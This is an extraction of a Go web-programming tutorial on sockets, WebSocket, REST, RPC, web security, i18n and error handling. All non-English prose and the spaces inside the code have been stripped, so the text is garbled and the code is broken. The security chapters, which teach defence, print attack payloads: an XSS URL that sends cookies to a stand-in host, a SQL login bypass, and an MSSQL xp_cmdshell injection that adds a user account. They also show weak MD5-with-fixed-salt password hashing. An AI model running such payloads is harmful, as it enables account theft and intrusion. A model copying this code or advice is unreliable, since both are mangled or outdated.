funcmain(){service:=":7777"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalueconn.Close()//we'refinishedwiththisclient}

}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

Accept forcontinue

Gogoroutine

packagemain

import("fmt""net""os""time")

funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}

funchandleClient(connnet.Conn){deferconn.Close()daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalue

//we'refinishedwiththisclient

}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

handleClient gogoroutine

packagemain

import("fmt""net""os""time""strconv""strings")

funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}

funchandleClient(connnet.Conn){conn.SetReadDeadline(time.Now().Add(2*time.Minute))//set2minutestimeoutrequest:=make([]byte,128)//setmaxiumrequestlengtht

o128Btopreventfloodattackdeferconn.Close()//closeconnectionbeforeexitfor{read_len,err:=conn.Read(request)

iferr!=nil{fmt.Println(err)break}

ifread_len==0{break//connectionalreadyclosedbyclient}elseifstrings.TrimSpace(string(request[:read_len]))=="timestamp"{daytime:=strconv.FormatInt(time.Now().Unix(),10)conn.Write([]byte(daytime))}else{daytime:=time.Now().String()conn.Write([]byte(daytime))}

request=make([]byte,128)//clearlastreadcontent}}

funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

conn.Read() conn.SetReadDeadline() connfor requestfloodattackrequest conn.Read()append

TCP

TCP

funcDialTimeout(net,addrstring,timeouttime.Duration)(Conn,error)

func(c*TCPConn)SetReadDeadline(ttime.Time)errorfunc(c*TCPConn)SetWriteDeadline(ttime.Time)error

/

func(c*TCPConn)SetKeepAlive(keepalivebool)os.Error

keepAlivetcpACKkeepalivetcpwindows2keepalivetcp

net

UDPSocket

GoUDPSocketTCPSocket,UDPAcceptTCPUDPUDP

funcResolveUDPAddr(net,addrstring)(*UDPAddr,os.Error)funcDialUDP(netstring,laddr,raddr*UDPAddr)(c*UDPConn,erros.Error)funcListenUDP(netstring,laddr*UDPAddr)(c*UDPConn,erros.Error)func(c*UDPConn)ReadFromUDP(b[]byte)(nint,addr*UDPAddr,erros.Error)func(c*UDPConn)WriteToUDP(b[]byte,addr*UDPAddr)(nint,erros.Error)

UDP,TCPUDP

packagemain

import("fmt""net""os")

funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.DialUDP("udp",nil,udpAddr)checkError(err)_,err=conn.Write([]byte("anything"))checkError(err)varbuf[512]byten,err:=conn.Read(buf[0:])checkError(err)fmt.Println(string(buf[0:n]))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)}}

UDP

packagemain

import("fmt""net""os""time"

)

funcmain(){service:=":1200"udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.ListenUDP("udp",udpAddr)checkError(err)for{handleClient(conn)}}funchandleClient(conn*net.UDPConn){varbuf[512]byte_,addr,err:=conn.ReadFromUDP(buf[0:])iferr!=nil{return}daytime:=time.Now().String()conn.WriteToUDP([]byte(daytime),addr)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)}}

TCPUDPSocketGoSocketGoSocket

links

: Web: WebSocket

8.2WebSocketWebSocketHTML5socketFirefoxGoogleChromeSafari

WebSocket“”HTTPRequest“”

WebSocketJavaScriptTCPSocketWebHTTP

WebTCPWebsocket(push)web.

WebSocketURLws://wss://SSLWebSocketHTTPJavaScriptsocket

8.2WebSocket

WebSocket

WebSockethandshake”\x00″”\xFF”WebSocket“”

WebSocket“”(handshaking)

8.3WebSocketrequestresponse

"Sec-WebSocket-Key"base64

258EAFA5-E914-47DA-95CA-C5AB0DC85B11

f7cb4ezEAl6C3wRaU6JORA==

f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11

sha1base64

rE91AJhfC+6JdVcVXOGJEADEJdQ=

Sec-WebSocket-Accept

Go WebSocket

GoWebSocketgo.net

gogetgolang.org/x/net/websocket

WebSocket:WebSocketPush

<html><head></head><body><scripttype="text/javascript">varsock=null;varwsuri="ws://127.0.0.1:1234";

window.onload=function(){

console.log("onload");

sock=newWebSocket(wsuri);

sock.onopen=function(){console.log("connectedto"+wsuri);}

sock.onclose=function(e){console.log("connectionclosed("+e.code+")");}

sock.onmessage=function(e){console.log("messagereceived:"+e.data);}};

functionsend(){varmsg=document.getElementById('message').value;

sock.send(msg);};</script><h1>WebSocketEchoTest</h1><form><p>Message:<inputid="message"type="text"value="Hello,world!"></p></form><buttononclick="send();">SendMessage</button></body></html>

JSWebSocketsockWebScoketonopen

1onopen2onmessage3onerror4onclose

packagemain

import("golang.org/x/net/websocket""fmt""log""net/http")

funcEcho(ws*websocket.Conn){varerrerror

for{varreplystring

iferr=websocket.Message.Receive(ws,&reply);err!=nil{

fmt.Println("Can'treceive")break}

fmt.Println("Receivedbackfromclient:"+reply)

msg:="Received:"+replyfmt.Println("Sendingtoclient:"+msg)

iferr=websocket.Message.Send(ws,msg);err!=nil{fmt.Println("Can'tsend")break}}}

funcmain(){http.Handle("/",websocket.Handler(Echo))

iferr:=http.ListenAndServe(":1234",nil);err!=nil{log.Fatal("ListenAndServe:",err)}}

SendReceiveSend

8.4WebSocket

WebSocketGonetHTML5WebSocketWeb

links

: Socket: REST

8.3RESTRESTfulGo

REST

REST(REpresentationalStateTransfer)2000RoyThomasFieldingHTTPRESTful

REST:

ResourcesREST""""""""

URIURI

Representation

txthtmljsonxmljpgpng

URIHTTPAcceptContent-Type""

StateTransfer

HTTP

HTTPHTTPGETPOSTPUTDELETEGETPOSTPUTDELETE

RESTful

1URI23HTTP""

WebREST:,

REST

REST

8.5REST

RESTRESTREST

REST

8.6REST

RESTful

GoRESTRESTfulHTTP net/httpRESTRESTmethodRESTRESTmethod

8.7RESTlevel

RESTlevelRESTfulRESTfulRESTfulHTTP DELETEPUTHTTP GETPOST

HTMLGETPOSTAjaxPUTDELETE

HTTPPUTDELETE PUTDELETEPOSTRESTfulPOSTHTTP

POST_methodPUTDELETERESTGoRESTfulRESTful

packagemain

import("fmt""github.com/julienschmidt/httprouter""log""net/http")

funcIndex(whttp.ResponseWriter,r*http.Request,_httprouter.Params){fmt.Fprint(w,"Welcome!\n")}

funcHello(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){fmt.Fprintf(w,"hello,%s!\n",ps.ByName("name"))

}

funcgetuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaregetuser%s",uid)}

funcmodifyuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaremodifyuser%s",uid)}

funcdeleteuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaredeleteuser%s",uid)}

funcadduser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){//uid:=r.FormValue("uid")uid:=ps.ByName("uid")fmt.Fprintf(w,"youareadduser%s",uid)}

funcmain(){router:=httprouter.New()router.GET("/",Index)router.GET("/hello/:name",Hello)

router.GET("/user/:uid",getuser)router.POST("/adduser/:uid",adduser)router.DELETE("/deluser/:uid",deleteuser)router.PUT("/moduser/:uid",modifyuser)

log.Fatal(http.ListenAndServe(":8080",router))}

RESTmethod github.com/julienschmidt/httprouterRESTRESTmethod

RESTWWWHTTPURIWebURIHTTPInternetRESTWebGoRESTmethodhandleREST

links

: WebSocket: RPC

8.4RPCSocketHTTPSocketHTTP""()

RPC

RPCRemoteProcedureCallProtocol——TCPUDPOSIRPCRPC

RPC

8.8RPC

,RPC,

1.2.3.4.5.6.7.8.9.10.

GoRPC

GoRPCRPCTCPHTTPJSONRPCGoRPCRPCRPCGoGob

GoRPC

()

error

RPC

func(t*T)MethodName(argTypeT1,replyType*T2)error

TT1T2 encoding/gob

RPCGoRPCHTTPTCPHTTP net/http

HTTPRPC

http

packagemain

import("errors""fmt""net/http""net/rpc")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint

}

typeArithint

func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}

func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}

funcmain(){

arith:=new(Arith)rpc.Register(arith)rpc.HandleHTTP()

err:=http.ListenAndServe(":1234",nil)iferr!=nil{fmt.Println(err.Error())}}

ArithRPC rpc.HandleHTTPHTTPhttp

packagemain

import("fmt""log""net/rpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server")os.Exit(1)}serverAddress:=os.Args[1]

client,err:=rpc.DialHTTP("tcp",serverAddress+":1234")iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)

varquotQuotienterr=client.Call("Arith.Divide",args,&quot)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)

}

$./http_clocalhostArith:17*8=136

Arith:17/8=2remainder1

struct client.Call23Call3123()GoRPC

TCPRPC

HTTPRPCTCPRPC

packagemain

import("errors""fmt""net""net/rpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

typeArithint

func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}

func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}

funcmain(){

arith:=new(Arith)rpc.Register(arith)

tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)

listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)

for{conn,err:=listener.Accept()iferr!=nil{continue}rpc.ServeConn(conn)}

}

funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}

http:TCPrpc

goroutinesocketgoroutineTCPRPC

packagemain

import("fmt""log""net/rpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server:port")os.Exit(1)}service:=os.Args[1]

client,err:=rpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)

varquotQuotienterr=client.Call("Arith.Divide",args,&quot)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)

}

httpDialHTTPDial(tcp)

JSONRPC

JSONRPCJSONgobRPCGojson-rpc

packagemain

import("errors""fmt""net""net/rpc""net/rpc/jsonrpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

typeArithint

func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}

func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}

funcmain(){

arith:=new(Arith)rpc.Register(arith)

tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)

listener,err:=net.ListenTCP("tcp",tcpAddr)

checkError(err)

for{conn,err:=listener.Accept()iferr!=nil{continue}jsonrpc.ServeConn(conn)}

}

funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}

json-rpcTCPHTTP

packagemain

import("fmt""log""net/rpc/jsonrpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

funcmain(){iflen(os.Args)!=2{

fmt.Println("Usage:",os.Args[0],"server:port")log.Fatal(1)}service:=os.Args[1]

client,err:=jsonrpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)

varquotQuotienterr=client.Call("Arith.Divide",args,&quot)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)

}

GoRPCHTTPTCPJSONRPC,WebGoSOAPRPC

links

: REST:

8.5:SocketsocketHTML5WebSocket,pushajaxRESTAPIGoRPCGonet,

links

: RPC:

9WebWebWebCSDNWebGo

Web(XSS)SQL9.39.4

9.2

9.1CSRF

WebCSDN9.5

9.6

links

:: CSRF

9.1 CSRF

CSRF

CSRFCross-siterequestforgeryoneclickattack/sessionridingCSRF/XSRF

CSRFQQ()WebQQ

CSRFCSRFWeb

CSRF

CSRF

9.1CSRF

CSRF

1.ACookie2.AB

“CSRF”

tabtabCookie

CSRF

CSRFWebWeb

CSRF

CSRFCSRF

CSRF2

1GET,POSTCookie2GET

RESTWebWebGETPOSTCookie

1GET

2POST

Go

mux.Get("/user/:uid",getuser)mux.Post("/user/:uid",modifyuser)

POSTGETGETCSRFPOST

GET

cookietokenCookie()CookieXSSXSS

4.4“”

token

h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))io.WriteString(h,"ganraomaxxxxxxxxx")token:=fmt.Sprintf("%x",h.Sum(nil))

t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)

token

<inputtype="hidden"name="token"value="{{.}}">

token

r.ParseForm()token:=r.Form.Get("token")iftoken!=""{//token}else{//token}

POSTtoken211

CSRFWebWeb“”“”Web

links

::

9.2WebWeb

123

“”“”:

GoGo r.ParseFormPOSTGET r.Form r.Header(r.Header.Get("Accept-Charset"),)

“0”

strconvRequest r.Form/ AtoiParseBoolParseFloatParseInt

stringTrimToLowerToTitleregexpEmail

WebMap(CleanMap)

CleanMapMapCleanMap

<formaction="/whoami"method="POST">:<selectname="name"><optionvalue="astaxie">astaxie</option><optionvalue="herry">herry</option><optionvalue="marry">marry</option></select><inputtype="submit"/></form>

POST name=attack

r.ParseForm()name:=r.Form.Get("name")CleanMap:=make(map[string]interface{},0)ifname=="astaxie"||name=="herry"||name=="marry"{CleanMap["name"]=name}

CleanMapname astaxieherrymarryCleanMapCleanMap["name"]else

r.ParseForm()

username:=r.Form.Get("username")CleanMap:=make(map[string]interface{},0)ifok,_:=regexp.MatchString("^[a-zA-Z0-9]+$",username);ok{CleanMap["username"]=username}

WebCSRFXSSSQL

links

: CSRF: XSS

9.3 XSSWeb“”CrossSiteScripting,XSS

XSS

XSS(Cross-SiteScripting)(CascadingStyleSheets,CSS)XSSXSSweb()XSSWebXSScookie

XSSXSS:HtmlWeb->->Web->XSSURL

XSS

cookieFlashcrossdomainJava

iframeframeXMLHttpRequestFlash:XSS

XSSDDoS

XSS

WebHTML(“>”“<”)XSS

XSSXSSurl http://127.0.0.1/?name=astaxie

helloastaxie

url http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;,XSSCookieurl http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;cookiewww.xxx.comURLURLurlurlcookiecookieWebsleuth

XSSXSS

XSS

XSS

XSS

XSSGoHTML

text/templateHTMLEscapeStringJSEscapeString

HTTP

`w.Header().Set("Content-Type","text/javascript")`

javascripthtml

XSSWebXSS

links

:: SQL

9.4 SQL

SQL

SQLSQLInjectionWeb

SQLSQL

SQL

WebSQLSQLSQLSQL

SQL

<formaction="/login"method="POST"><p>Username:<inputtype="text"name="username"/></p><p>Password:<inputtype="password"name="password"/></p><p><inputtype="submit"value="" /></p></form>

SQL

username:=r.Form.Get("username")password:=r.Form.Get("password")sql:="SELECT*FROMuserWHEREusername='"+username+"'ANDpassword='"+password+"'"

myuser'or'foo'='foo'--

SQL

SELECT*FROMuserWHEREusername='myuser'or'foo'='foo'--''ANDpassword='xxx'

SQL--

MSSQLSQLMSSQL

sql:="SELECT*FROMproductsWHEREnameLIKE'%"+prod+"%'"Db.Exec(sql)

a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--prodsql

sql:="SELECT*FROMproductsWHEREnameLIKE'%a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--%'"

MSSQLSQLsaMSSQLSERVER

SQL

SQLDiscuzphpwindphpcmsSQL

cookie

SQL?SQL

1. Web2. regexpstrconv3. '"\&*;Go text/templateHTMLEscapeString

4. SQLSQL database/sqlPrepareQueryExec(querystring,args...interface{})

5. SQLSQLsqlmapSQLninja6. SQLSQLSQL

SQLWebWeb

links

: XSS:

9.5,,–Linkedin,CSDN800“”

Web,,?

(digest)“”SHA-256,SHA-1,MD5

Go

//import"crypto/sha256"h:=sha256.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))

//import"crypto/sha1"h:=sha1.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))

//import"crypto/md5"h:=md5.New()io.WriteString(h,"" )fmt.Printf("%x",h.Sum(nil))

1

2

, rainbowtable

rainbowtable

——

MD5MD5

“”“salt”MD5MD5MD5

//import"crypto/md5"//abc123456h:=md5.New()io.WriteString(h,"" )

//pwmd5e10adc3949ba59abbe56e057f20f883epwmd5:=fmt.Sprintf("%x",h.Sum(nil))

//saltsalt1=@#$%salt2=^&*()salt1:="@#$%"salt2:="^&*()"

//salt1++salt2+MD5io.WriteString(h,salt1)io.WriteString(h,"abc")io.WriteString(h,salt2)io.WriteString(h,pwmd5)

last:=fmt.Sprintf("%x",h.Sum(nil))

salt

rainbowtable

: rainbowtable

rainbowtable

scryptscryptFreeBSDColinPercivalTarsnap

Gohttp://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt

dk:=scrypt.Key([]byte("somepassword"),[]byte(salt),16384,8,1,32)

1LastPass2

links

::

9.6

base64

Web base64Go base64

packagemain

import("encoding/base64""fmt")

funcbase64Encode(src[]byte)[]byte{return[]byte(base64.StdEncoding.EncodeToString(src))}

funcbase64Decode(src[]byte)([]byte,error){returnbase64.StdEncoding.DecodeString(string(src))}

funcmain(){//encodehello:="helloworld"debyte:=base64Encode([]byte(hello))fmt.Println(debyte)//decodeenbyte,err:=base64Decode(debyte)iferr!=nil{fmt.Println(err.Error())}

ifhello!=string(enbyte){fmt.Println("helloisnotequaltoenbyte")}

fmt.Println(string(enbyte))}

Gocrypto

crypto/aesAES(AdvancedEncryptionStandard)Rijndaelcrypto/desDES(DataEncryptionStandard)AES

aes

packagemain

import("crypto/aes""crypto/cipher""fmt""os")

varcommonIV=[]byte{0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f}

funcmain(){//plaintext:=[]byte("MynameisAstaxie")//plaintiflen(os.Args)>1{plaintext=[]byte(os.Args[1])}

//aeskey_text:="astaxie12798akljzmknm.ahkjkljl;k"iflen(os.Args)>2{key_text=os.Args[2]}

fmt.Println(len(key_text))

//aesc,err:=aes.NewCipher([]byte(key_text))iferr!=nil{fmt.Printf("Error:NewCipher(%dbytes)=%s",len(key_t

ext),err)os.Exit(-1)}

//cfb:=cipher.NewCFBEncrypter(c,commonIV)ciphertext:=make([]byte,len(plaintext))cfb.XORKeyStream(ciphertext,plaintext)fmt.Printf("%s=>%x\n",plaintext,ciphertext)

//cfbdec:=cipher.NewCFBDecrypter(c,commonIV)plaintextCopy:=make([]byte,len(plaintext))cfbdec.XORKeyStream(plaintextCopy,ciphertext)fmt.Printf("%x=>%s\n",ciphertext,plaintextCopy)}

aes.NewCipher(key162432[]byteAES-128,AES-192AES-256),cipher.Block

typeBlockinterface{//BlockSizereturnsthecipher'sblocksize.BlockSize()int

//Encryptencryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Encrypt(dst,src[]byte)

//Decryptdecryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Decrypt(dst,src[]byte)}

Webbase64aesdes

links

::

9.7CSRFXSSSQLWebWebGobase64aesdes

WebWebGoWeb

links

::

10Web

Internationalizationandlocalization,i18nL10N

Goi18ngo-i18nGoi18n

locale

1locale

2locale

3locale

localelocalelocalei18n

links

::

10.1

Locale

Localelocale"en""zh""en_US""en_UK""zh_CN.gb2312"gb2312

GO"UTF-8"i18nlocalei18nlocale

LinuxSolarislocale-aBSDlocale/usr/share/locale

Locale

locale()localelocale

Locale

Localewww.asta.com()www.asta.cnlocale

URL

GomapSEO

locale

ifr.Host=="www.asta.com"{i18n.SetLocale("en")}elseifr.Host=="www.asta.cn"{i18n.SetLocale("zh-CN")}elseifr.Host=="www.asta.tw"{i18n.SetLocale("zh-TW")}

"en.asta.com""cn.asta.com"

prefix:=strings.Split(r.Host,".")

ifprefix[0]=="en"{i18n.SetLocale("en")}elseifprefix[0]=="cn"{i18n.SetLocale("zh-CN")}elseifprefix[0]=="tw"{i18n.SetLocale("zh-TW")}

LocaleWebLocaleurl

Locale

LocaleURLwww.asta.com/hello?locale=zhwww.asta.com/zh/helloi18n.SetLocale(params["locale"])

LocaleRESTfullinklocaleurllink locale=params["locale"]

URLRESTfulwww.asta.com/en/books()www.asta.com/zh/books()URLSEOURLURLrouterlocale(RESTrouter)

mux.Get("/:locale/books",listbook)

URLLocale()IPWeb

Accept-Language

HTTPAccept-LanguageGo Accept-Language

AL:=r.Header.Get("Accept-Language")ifAL=="en"{i18n.SetLocale("en")}elseifAL=="zh-CN"{i18n.SetLocale("zh-CN")}elseifAL=="zh-TW"{i18n.SetLocale("zh-TW")}

IP

IPIPIPGeoIPLiteCountryIPIP

profile

localeprofilelocalelocale

LocaleLocale

links

::

10.2LocaleLocaleLocaleGoJSON(,en.jsonzh-CN.json)

Web:mapkey-valuemap

packagemain

import"fmt"

varlocalesmap[string]map[string]string

funcmain(){locales=make(map[string]map[string]string,2)en:=make(map[string]string,10)en["pea"]="pea"en["bean"]="bean"locales["en"]=en

cn:=make(map[string]string,10)cn["pea"]=""cn["bean"]=""locales["zh-CN"]=cnlang:="zh-CN"fmt.Println(msg(lang,"pea"))fmt.Println(msg(lang,"bean"))}

funcmsg(locale,keystring)string{ifv,ok:=locales[locale];ok{ifv2,ok:=v[key];ok{returnv2}}return""}

localekeylangen

key-value"Iam30yearsold","30"30 fmt.Printf

en["howold"]="Iam%dyearsold"cn["howold"]="%d"

fmt.Printf(msg(lang,"howold"),30)

JSON json.Unmarshalmap

Locale 20121024231113CST : WedOct2423:11:13CST2012:

1.2.

$GOROOT/lib/timetimeinfo.ziplocalelocale time.LoadLocation(namestring)locale Asia/ShanghaiAmerica/Chicago time.NowTime():

en["time_zone"]="America/Chicago"cn["time_zone"]="Asia/Shanghai"

loc,_:=time.LoadLocation(msg(lang,"time_zone"))t:=time.Now()t=t.In(loc)fmt.Println(t.Format(time.RFC3339))

:

en["date_format"]="%Y-%m-%d%H:%M:%S"cn["date_format"]="%Y%m%d%H%M%S"

fmt.Println(date(msg(lang,"date_format"),t))

funcdate(fomatestring,ttime.Time)string{year,month,day=t.Date()hour,min,sec=t.Clock()//%Y%m%d%H%M%S//%Y 2012//%m 10//%d 24}

:

en["money"]="USD%d"cn["money"]="%d"

fmt.Println(date(msg(lang,"date_format"),100))

funcmoney_format(fomatestring,moneyint64)string{returnfmt.Sprintf(fomate,money)}

Localecssjslocale

views|--en//|--images//|--js//JS|--css//cssindex.tpl//login.tpl//|--zh-CN//|--images|--js|--cssindex.tpllogin.tpl

s1,_:=template.ParseFiles("views"+lang+"index.tpl")VV.Lang=langs1.Execute(os.Stdout,VV)

index.tpl

//js<scripttype="text/javascript"src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>

//css<linkhref="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css"rel="stylesheet">//<imgsrc="views/{{.VV.Lang}}/https://raw.githubusercontent.com/astaxie/build-web-application-with-golang/master/zh/images/btn.png">

langkey-valueLocaleLocale fmt.PrintfLocalelang

links

::

10.3Locale

Localeconfig/localesen.jsonzh.json

#zh.json

{"zh":{"submit":"" ,

"create":""}}

#en.json

{"en":{"submit":"Submit","create":"Create"}}

—— go-i18ngo-i18nconfig/locales,locale

Tr:=i18n.NewLocale()Tr.LoadPath("config/locales")

fmt.Println(Tr.Translate("submit"))//SubmitTr.SetLocale("zn")fmt.Println(Tr.Translate("submit"))//“”

go-i18n

//go-i18n/locales

//zh.jsonen-jsonen-US.json

func(il*IL)loadDefaultTranslations(dirPathstring)error{dir,err:=os.Open(dirPath)iferr!=nil{returnerr}deferdir.Close()

names,err:=dir.Readdirnames(-1)iferr!=nil{returnerr}

for_,name:=rangenames{fullPath:=path.Join(dirPath,name)

fi,err:=os.Stat(fullPath)iferr!=nil{returnerr}

iffi.IsDir(){iferr:=il.loadTranslations(fullPath);err!=nil{returnerr}}elseiflocale:=il.matchingLocaleFromFileName(name);locale!=""{file,err:=os.Open(fullPath)iferr!=nil{returnerr}deferfile.Close()

iferr:=il.loadTranslation(file,locale);err!=nil{returnerr}}}

returnnil}

:

//locale=zh

fmt.Println(Tr.Time(time.Now()))//200910820:37:58CST

fmt.Println(Tr.Time(time.Now(),"long"))//2009108

fmt.Println(Tr.Money(11.11))//:11.11

templatemapfunc

"Tr.Translate""Tr.Time""Tr.Money"Gomapfunc

1.

Tr.TranslatemapFunc

funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Translate(s)}

t.Funcs(template.FuncMap{"T":I18nT})

{{.V.Submit|T}}

1.

Tr.TimemapFunc

funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Time(s)}

t.Funcs(template.FuncMap{"TD":I18nTimeDate})

{{.V.Now|TD}}

1.

Tr.MoneymapFunc

funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Money(s)}

t.Funcs(template.FuncMap{"M":I18nMoney})

{{.V.Money|M}}

Webgo-i18nWebpipeline

links

::

10.4i18ngo-i18n https://github.com/astaxie/go-i18nWebGo

links

::

11""bugbug

Web11.1Go11.2GDB

11.3GoGo

GoWeb

links

::

11.1GoCC-1NULLAPI:0,Goerrorerrornil

os.Opennilerror

funcOpen(namestring)(file*File,errerror)

os.Open log.Fatal

f,err:=os.Open("filename.ext")iferr!=nil{log.Fatal(err)}

os.OpenAPIerrorerrorWeberror

Error

error

typeerrorinterface{Error()string}

error/builtin/errorerrorserrorString

//errorStringisatrivialimplementationoferror.typeerrorStringstruct{sstring}

func(e*errorString)Error()string{returne.s}

errors.NewerrorStringerror

//Newreturnsanerrorthatformatsasthegiventext.funcNew(textstring)error{return&errorString{text}}

errors.New:

funcSqrt(ffloat64)(float64,error){iff<0{return0,errors.New("math:squarerootofnegativenumber")}//implementation}

Sqrtnon-nilerrorniltruefmt.Println(fmterrorError)

f,err:=Sqrt(-1)iferr!=nil{

fmt.Println(err)}

Error

errorinterfaceJson

typeSyntaxErrorstruct{msgstring//Offsetint64//}

func(e*SyntaxError)Error()string{returne.msg}

OffsetError:

iferr:=dec.Decode(&val);err!=nil{ifserr,ok:=err.(*json.SyntaxError);ok{line,col:=findLine(f,serr.Offset)returnfmt.Errorf("%s:%d:%d:%v",f.Name(),line,col,err)}returnerr}

error

funcDecode()*SyntaxError{//err!=niltrue

varerr*SyntaxError//if{err=&SyntaxError{}}returnerr//errnilerr!=niltrue

}

http://golang.org/doc/faq#nil_error

Errornet

packagenet

typeErrorinterface{errorTimeout()bool//Istheerroratimeout?Temporary()bool//Istheerrortemporary?}

errnet.Error,sleep1

ifnerr,ok:=err.(net.Error);ok&&nerr.Temporary(){time.Sleep(1e9)continue}iferr!=nil{log.Fatal(err)}

GoC:

funcinit(){http.HandleFunc("/view",viewRecord)

}

